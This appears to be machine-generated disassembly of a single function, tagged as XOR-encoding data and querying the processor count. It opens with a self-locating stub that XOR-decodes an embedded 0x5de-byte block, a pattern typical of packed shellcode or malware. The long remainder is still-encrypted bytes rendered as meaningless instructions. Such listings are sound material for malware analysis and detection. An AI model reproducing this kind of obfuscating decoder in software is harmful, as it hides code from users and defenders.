Function at 0xdbe55c
Capabilities:
Encode data using xor
Get number of processors

Disassembly:
jmp 0xdbe566
pushal
call 0xdbe56c
pop ebp
sub ebp, 0x10
sub ebp, 0x9be55c
jmp 0xdbe582
mov eax, 0x9be55c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5de
mov edx, 0x9530376c
xor byte [eax], dl
inc eax
dec ecx
jne 0xdbe599
jmp 0xdbe5ac
out 0xa1, eax
out 0xe5, eax
push eax
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
in eax, dx
lodsd eax, dword [esi]
xchg esp, eax
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
mov eax, dword [0x6c6c69d4]
insb byte es:[edi], dx
salc
inc esp
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
wait
mov gs, word [edi - 0x5c]
out 0xed, eax
pushal
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
test eax, 0x904808e1
in eax, 0x68
dec eax
loope 0xdbe5e3
dec eax
nop
in eax, 0x68
dec eax
add al, 0x20
cdq
dec ebp
insb byte es:[edi], dx
add al, 0x7c
pushfd
adc eax, 0x48406d6c
add al, 0x30
adc dword [eax + 0x6c698426], esp
insb byte es:[edi], dx
insb byte es:[edi], dx
test dword [esp + ebp*2 + 0x6c], ebx
insb byte es:[edi], dx
cmp ecx, esp
add byte [eax + 0x6c], cl
out 0xe9, eax
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
out 0xf9, eax
pushal
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
out 0xe1, eax
jl 0xdbe67d
insb byte es:[edi], dx
insb byte es:[edi], dx
lodsd eax, dword [esi]
test dword [esi + 0x5d], ebp
outsb dx, byte [esi]
out dx, eax
scasb al, byte es:[edi]
push 0x98e96325
xchg ebx, eax
xchg ebx, eax
xchg ebx, eax
out 0x40, eax
dec eax
loope 0xdbe62f
dec eax
push 0xe76c60ae
loopne 0xdbe677
push 0x46c6c6c
and byte [ecx + 0x7c046c4d], bl
pushfd
adc eax, 0x48406d6c
loope 0xdbe64a
dec eax
nop
in eax, 0x60
dec eax
test byte [ecx + 0x6c], ch
insb byte es:[edi], dx
insb byte es:[edi], dx
test dword [ecx], ebp
outsb dx, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
cmp edi, esp
adc byte [ebx + 0x19936019], 0x64
test byte [esp + ebp*2], dl
insb byte es:[edi], dx
insb byte es:[edi], dx
out 0xd1, eax
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
pop edi
movsd dword es:[edi], dword [esi]
in eax, dx
sahf
xchg ebx, eax
invalid
imul esp, dword [ebx], 0x6c6c22e8
insb byte es:[edi], dx
insb byte es:[edi], dx
arpl sp, sp
and al, 0x6c
insb byte es:[edi], dx
insb byte es:[edi], dx
or ah, bh
jo 0xdbe6de
in al, dx
xchg edi, eax
test byte [ebx - 0x18], ah
jbe 0xdbe6fc
insb byte es:[edi], dx
insb byte es:[edi], dx
in al, dx
xchg edi, eax
test dword [ebx - 0x18], esp
jge 0xdbe705
insb byte es:[edi], dx
insb byte es:[edi], dx
or ch, ch
xchg edi, eax
xchg ebx, eax
dec ecx
arpl ax, bp
jns 0xdbe710
insb byte es:[edi], dx
insb byte es:[edi], dx
sub eax, 0x9393a085
xchg ebx, eax
inc ebp
and byte [ebp + 0x6d], dl
out dx, eax
lodsd eax, dword [esi]
imul ebp, edi, 0xd1856884
xchg ebx, eax
xchg ebx, eax
xchg ebx, eax
inc ebp
cmp byte [ebp + 0x6e], dl
out dx, eax
lodsd eax, dword [esi]
push 0xffffffffffffffef
xchg byte [eax - 0x11], ch
test byte [ecx - 0x7b], ch
invalid
sbb dword [eax - 0x19], esp
adc dword [eax + edx*4 - 0x22], esp
in al, dx
out 0x6a, al
in eax, dx
stosb byte es:[edi], al
insd dword es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
in al, 0x6b
in eax, dx
stosd dword es:[edi], eax
insd dword es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
xlatb
outsb dx, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
outsb dx, byte [esi]
mov esi, 0x6c69e963
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
out 0x7a, al
sub bh, byte [esi - 0x42]
arpl di, bp
mov ah, 0x93
xchg ebx, eax
xchg ebx, eax
outsb dx, byte [esi]
mov esi, 0x6c69e963
insb byte es:[edi], dx
insb byte es:[edi], dx
out 0x7a, al
sub bh, byte [esi - 0x42]
arpl di, bp
push es
arpl cx, bp
imul ebp, dword [esp + ebp*2 + 0x6c], 0x7e2a7ae6
mov esi, 0x6c06ef63
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
pop edi
lodsb al, byte [esi]
outsb dx, byte [esi]
mov esi, 0x6c69e963
insb byte es:[edi], dx
insb byte es:[edi], dx
out 0x7a, al
sub bh, byte [esi - 0x42]
arpl di, bp
inc esi
insd dword es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
outsb dx, byte [esi]
mov esi, 0x6c69e963
insb byte es:[edi], dx
insb byte es:[edi], dx
out 0x7a, al
sub bh, byte [esi - 0x42]
jg 0xdbe6f1
outsb dx, byte [esi]
mov esi, 0x6c69e963
insb byte es:[edi], dx
insb byte es:[edi], dx
out 0x7a, al
sub bh, byte [esi - 0x42]
jg 0xdbe700
outsb dx, byte [esi]
mov esi, 0x6c69e963
insb byte es:[edi], dx
insb byte es:[edi], dx
out 0x7a, al
sub bh, byte [esi - 0x42]
jg 0xdbe70f
outsb dx, byte [esi]
mov esi, 0x6c69e963
insb byte es:[edi], dx
insb byte es:[edi], dx
out 0x7a, al
sub bh, byte [esi - 0x42]
jg 0xdbe71e
arpl ax, bp
push 0x6c
insb byte es:[edi], dx
insb byte es:[edi], dx
out 0xb3, eax
inc edi
mov ah, 0xe6
outsd dx, dword [esi]
in al, 0x6b
sub edx, edi
outsb dx, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
test dword [ebx + edx*4], ebx
xchg ebx, eax
xchg ebx, eax
aam 0x6d
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
outsb dx, byte [esi]
mov esi, 0x6c69e963
insb byte es:[edi], dx
insb byte es:[edi], dx
out 0x7a, al
sub bh, byte [esi - 0x42]
jg 0xdbe74b
outsb dx, byte [esi]
mov esi, 0x6c69e963
insb byte es:[edi], dx
insb byte es:[edi], dx
out 0x7a, al
sub bh, byte [esi - 0x42]
arpl si, bp
mov dl, 0x93
xchg ebx, eax
xchg ebx, eax
inc edi
scasd eax, dword es:[edi]
xlatb
insd dword es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
arpl cx, bp
pop eax
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
aad 0x6d
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
outsb dx, byte [esi]
mov esi, 0x6c69e963
insb byte es:[edi], dx
insb byte es:[edi], dx
out 0x7a, al
sub bh, byte [esi - 0x42]
jg 0xdbe778
outsb dx, byte [esi]
mov esi, 0x6c69e963
insb byte es:[edi], dx
insb byte es:[edi], dx
out 0x7a, al
sub bh, byte [esi - 0x42]
arpl si, bp
mov dl, 0x93
xchg ebx, eax
xchg ebx, eax
cmp ah, bh
wait
inc edi
cdq
lahf
enter 0xffffffffffff8532, 0x64
xchg ebx, eax
xchg ebx, eax
xchg ebx, eax
and al, 0xad
mov word [esi + 0x6a], fs
sub ah, bh
test ch, dl
insd dword es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
outsb dx, byte [esi]
mov esi, 0x6c69e963
insb byte es:[edi], dx
insb byte es:[edi], dx
out 0x7a, al
sub bh, byte [esi - 0x42]
jg 0xdbe7b5
outsb dx, byte [esi]
mov esi, 0x6c69e963
insb byte es:[edi], dx
insb byte es:[edi], dx
out 0x7a, al
sub bh, byte [esi - 0x42]
arpl si, bp
mov dl, 0x93
xchg ebx, eax
xchg ebx, eax
in eax, dx
xchg esp, eax
insb byte es:[edi], dx
adc dword [esp + ebp*2 - 0x13], ebp
mov ch, 0x93
xchg ebx, eax
xchg ebx, eax
xchg ebx, eax
in eax, dx
xchg esp, eax
insb byte es:[edi], dx
imul ebp, dword [esp + ebp*2 - 0x13], 0x939393b5
xchg ebx, eax
in eax, dx
xchg esp, eax
in al, dx
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
in eax, dx
mov ebp, 0x6c6c6c6c
in eax, dx
xchg esp, eax
in al, dx
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
in eax, dx
mov ebp, 0x6c6c6c6c
cmp ah, bh
wait
inc edi
pushfd
lahf
enter 0xffffffffffff8532, 0xfffffffffffffff7
xchg edx, eax
xchg ebx, eax
xchg ebx, eax
out 0x6a, al
sub bl, byte [edi - 0x5b]
lodsb al, byte [esi]
test byte [ebp + 0x63], ch
call 0x6d4854e4
in eax, dx
mov ebp, 0x6c6c6c6e
out 0x84, eax
cmp ah, bh
wait
inc edi
pushfd
lahf
enter 0xffffffffffffd732, 0x6d
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
test dword [edi], ebx
xchg edx, eax
xchg ebx, eax
xchg ebx, eax
xor dword [edi + 0x11], eax
out 0xab, eax
xor esi, dword [edx]
out 0x89, eax
xor dword [esi + 0x32336c64], ebp
test dword [eax + 0x6c], ebp
insb byte es:[edi], dx
insb byte es:[edi], dx
mov bl, 0x4a
adc bl, byte [eax - 0x2c]
xor byte [ecx - 0x56909309], cl
in eax, dx
lodsb al, byte [esi]
pop es
outsd dx, dword [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
aad 0xd3
outsb dx, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
salc
mov dword [ebx], esp
mov eax, dword [0x2c7c5cd8]
and eax, 0x939ae963
xchg ebx, eax
xchg ebx, eax
test dword [eax + 0x6c], ebp
insb byte es:[edi], dx
insb byte es:[edi], dx
jmp 0xf9bf497